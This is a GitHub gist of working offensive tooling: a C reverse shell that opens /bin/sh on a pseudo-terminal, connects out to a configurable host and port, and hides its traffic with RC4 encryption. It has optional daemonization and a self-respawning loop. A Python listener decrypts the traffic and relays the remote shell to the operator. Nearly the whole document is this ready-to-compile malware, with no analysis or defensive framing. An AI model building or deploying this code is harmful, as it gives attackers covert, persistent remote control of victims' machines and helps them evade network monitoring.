Skip to content

Instantly share code, notes, and snippets.

@mnixry
Last active November 8, 2023 15:48
Show Gist options
  • Save mnixry/d0cea88415d6cff810d2b7cd72e65d48 to your computer and use it in GitHub Desktop.
Save mnixry/d0cea88415d6cff810d2b7cd72e65d48 to your computer and use it in GitHub Desktop.
Reverse shell with TTY and RC4 obfuscated traffic.
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <pty.h>
#include <time.h>
#include <arpa/inet.h>
#include <signal.h>
#include <sys/select.h>
#include <sys/wait.h>
#ifndef ENCRYPTION_KEY
#define ENCRYPTION_KEY "CHANGE_ME"
#endif
#ifndef CONNECT_HOST
#define CONNECT_HOST "127.0.0.1"
#endif
#ifndef CONNECT_PORT
#define CONNECT_PORT 4444
#endif
#ifndef SHELL_COMMAND
#define SHELL_COMMAND "/bin/sh"
#endif
#define BUFFER_LENGTH 1024
#define LOW4BYTES(x) \
{ \
x & 0xFF, (x >> 8) & 0xFF, (x >> 16) & 0xFF, (x >> 24) & 0xFF \
}
#define SWAP(a, b) \
{ \
__typeof(a) t; \
t = a; \
a = b; \
b = t; \
}
#ifdef DAEMONIZE
#define FATAL(msg) \
{ \
exit(1); \
}
#else
#define FATAL(msg) \
{ \
perror(msg); \
exit(1); \
}
#endif
struct rc4_state
{
uint8_t i;
uint8_t j;
uint8_t s[256];
};
typedef struct rc4_state rc4_state;
void rc4_init(rc4_state *state, const char *key, int keylen)
{
uint8_t j = 0;
for (int i = 0; i < 256; i++)
state->s[i] = i;
for (int i = 0; i < 256; i++)
{
j = (j + state->s[i] + key[i % keylen]) % 256;
SWAP(state->s[i], state->s[j]);
}
state->i = 0;
state->j = 0;
}
uint8_t rc4_next(rc4_state *state)
{
state->i = (state->i + 1) % 256;
state->j = (state->j + state->s[state->i]) % 256;
SWAP(state->s[state->i], state->s[state->j]);
return state->s[(state->s[state->i] + state->s[state->j]) % 256];
}
uint32_t crc32(const char *s)
{
uint32_t crc = 0xFFFFFFFF;
while (*s)
{
crc ^= *s++;
for (int i = 0; i < 8; i++)
crc = (crc >> 1) ^ (0xEDB88320 & -(crc & 1));
}
return ~crc;
}
int main(int argc, char **argv)
{
int pid;
#ifdef DAEMONIZE
for (int i = 0; i < 2; i++)
{
pid = fork();
if (pid < 0)
FATAL("daemonize fork")
else if (pid > 0)
return 0;
}
#endif
for (;;)
{
pid = fork();
if (pid < 0)
FATAL("daemon fork")
else if (pid == 0)
break;
int status;
waitpid(pid, &status, 0);
#ifndef DAEMONIZE
printf("Child exited with status %d\n", status);
#endif
sleep(1);
}
// Create a pty
int master, slave;
if (openpty(&master, &slave, NULL, NULL, NULL) < 0)
FATAL("openpty");
// Fork
if ((pid = fork()) < 0)
FATAL("fork")
else if (pid == 0)
{
// Child
// Close the master side of the pty
close(master);
if (setsid() < 0)
FATAL("setsid")
// Set the slave side of the pty as the controlling terminal
if (ioctl(slave, TIOCSCTTY, NULL) < 0)
FATAL("ioctl")
dup2(slave, STDIN_FILENO);
dup2(slave, STDOUT_FILENO);
dup2(slave, STDERR_FILENO);
// Execute a shell
execl(SHELL_COMMAND, SHELL_COMMAND, NULL);
FATAL("execl");
}
else
{
// Parent
// Close the slave side of the pty
close(slave);
// Create a socket
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0)
FATAL("socket");
// Specify an address to connect to
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(CONNECT_PORT);
addr.sin_addr.s_addr = inet_addr(CONNECT_HOST);
// Connect it
if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
FATAL("connect");
// tag format: crc32(ENCRYPTION_KEY + "%d" % time())
time_t tag_time = time(NULL);
char tag_string[sizeof(ENCRYPTION_KEY) + 16];
sprintf(tag_string, "%s%ld", ENCRYPTION_KEY, tag_time);
uint32_t tag = crc32(tag_string);
char tag_buf[4] = LOW4BYTES(tag);
// mangle encryption key to ensure difference every time
char mangled_encryption_key[sizeof(ENCRYPTION_KEY)] = ENCRYPTION_KEY;
for (int i = 0; i < sizeof(ENCRYPTION_KEY); i++)
mangled_encryption_key[i] ^= tag_buf[i % sizeof(tag_buf)];
// Send tag
if (send(sockfd, &tag, sizeof(tag), 0) < 0)
FATAL("send tag")
// Initialize RC4 states
rc4_state rc4recv, rc4send;
rc4_init(&rc4recv, mangled_encryption_key, sizeof(mangled_encryption_key) - 1);
rc4_init(&rc4send, mangled_encryption_key, sizeof(mangled_encryption_key) - 1);
// Create duplex socket connection by polling
int fd_max = sockfd > master ? sockfd : master;
char buffer[BUFFER_LENGTH];
for (;;)
{
fd_set readfds;
FD_ZERO(&readfds);
FD_SET(sockfd, &readfds);
FD_SET(master, &readfds);
struct timeval timeout;
timeout.tv_sec = 0;
timeout.tv_usec = 100 * 1000; // 100ms
if (select(fd_max + 1, &readfds, NULL, NULL, &timeout) < 0)
FATAL("select")
if (FD_ISSET(sockfd, &readfds))
{
// Read from socket and write to pty
int n = recv(sockfd, buffer, sizeof(buffer), 0);
if (n == 0)
break;
if (n < 0)
FATAL("recv read")
else if (n > 0)
{
for (int i = 0; i < n; i++)
buffer[i] ^= rc4_next(&rc4recv);
write(master, buffer, n);
}
}
if (FD_ISSET(master, &readfds))
{
// Read from pty and write to socket
int n = read(master, buffer, BUFFER_LENGTH);
if (n == 0)
break;
if (n < 0)
FATAL("send read")
else if (n > 0)
{
for (int i = 0; i < n; i++)
buffer[i] ^= rc4_next(&rc4send);
write(sockfd, buffer, n);
}
}
}
}
return 0;
}
import socket
import sys
from threading import Thread
from typing import List
from datetime import datetime
def rc4_keystream(key: bytes):
s = [*range(256)]
j = 0
for i in range(256):
j = (j + s[i] + key[i % len(key)]) % 256
s[i], s[j] = s[j], s[i]
i = j = 0
while True:
i = (i + 1) % 256
j = (j + s[i]) % 256
s[i], s[j] = s[j], s[i]
yield s[(s[i] + s[j]) % 256]
return
def crc32(data: bytes):
crc = 0xFFFFFFFF
for byte in data:
crc ^= byte
for _ in range(8):
crc = (crc >> 1) ^ (0xEDB88320 * (crc & 1))
return crc ^ 0xFFFFFFFF
def guess_time(keys: List[bytes], tag: bytes):
now = int(datetime.now().timestamp())
assert len(tag) == 4
tag_num = tag[0] | tag[1] << 8 | tag[2] << 16 | tag[3] << 24
def mangle_key(key: bytes, tag: bytes):
key_array = bytearray(key)
for index, val in enumerate(key_array):
key_array[index] = val ^ tag[index % len(tag)]
return bytes(key_array)
for try_time in range(now - 30, now + 30):
for key in keys:
if crc32(key + f"{try_time}".encode()) == tag_num:
return mangle_key(key, tag), try_time
return
def forward_stdin(socket: socket.socket, rc4_key: bytes):
rc4 = rc4_keystream(rc4_key)
for input in iter(lambda: sys.stdin.read(1), ""):
socket.sendall(bytes(a ^ b for a, b in zip(input.encode(), rc4)))
def forward_stdout(socket: socket.socket, rc4_key: bytes):
rc4 = rc4_keystream(rc4_key)
while True:
received = socket.recv(1024)
if len(received) == 0:
break
decrypted = bytes(a ^ b for a, b in zip(received, rc4))
sys.stdout.write(decrypted.decode(errors="ignore"))
sys.stdout.flush()
def server(host: str, port: int):
print(f"[*] Listening on {host}:{port}")
rc4_key = b"CHANGE_ME"
with socket.create_server((host, port)) as server_socket:
client_socket, (source_host, source_port) = server_socket.accept()
print(f"[*] Accepted connection from {source_host}:{source_port}")
tag = client_socket.recv(4)
guess_result = guess_time([rc4_key], tag)
assert guess_result, "Failed to decrypt socket tag"
mangled_key, create_time = guess_result
print(f"[*] Tag created at {datetime.fromtimestamp(create_time)}")
Thread(target=forward_stdin, args=(client_socket, mangled_key)).start()
Thread(target=forward_stdout, args=(client_socket, mangled_key)).start()
if __name__ == "__main__":
server("127.0.0.1", 4444)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment